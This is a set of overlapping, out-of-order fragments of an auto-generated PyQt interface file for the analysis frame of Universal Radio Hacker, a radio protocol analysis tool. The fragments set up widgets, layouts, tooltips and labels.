"message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView",
"= QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs =",
"self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem",
"self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in time when",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,",
"= QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\",",
"0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1,",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection =",
"self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1,",
"15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex",
"sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame =",
"sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3)",
"import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView import",
"new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from",
"\"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\"))",
"self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum,",
"QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320,",
"self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy)",
"1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy)",
"self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy)",
"message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\",",
"QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)",
"protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1,",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection =",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents)",
"= QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy",
"self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout()",
"self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"\"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only",
"= QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy",
"self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\")",
"self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze",
"= QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())",
"self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average",
"self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")",
"self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1,",
"13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth())",
"\"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy =",
"self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze =",
"\"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage",
"self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\"))",
"= QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel)",
"self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\")",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1,",
"ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken)",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol =",
"QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy)",
"self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\",",
"self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \"",
"self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\")",
"514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout()",
"self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy)",
"= QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3)",
"self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy)",
"<filename>src/urh/ui/ui_analysis_frame.py # -*- coding: utf-8 -*- # # # WARNING! All changes made",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\")",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents)",
"sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy =",
"import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0)",
"QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0)",
"style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in time when a protocol message",
"To add custom field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for",
"1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown",
"self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\",",
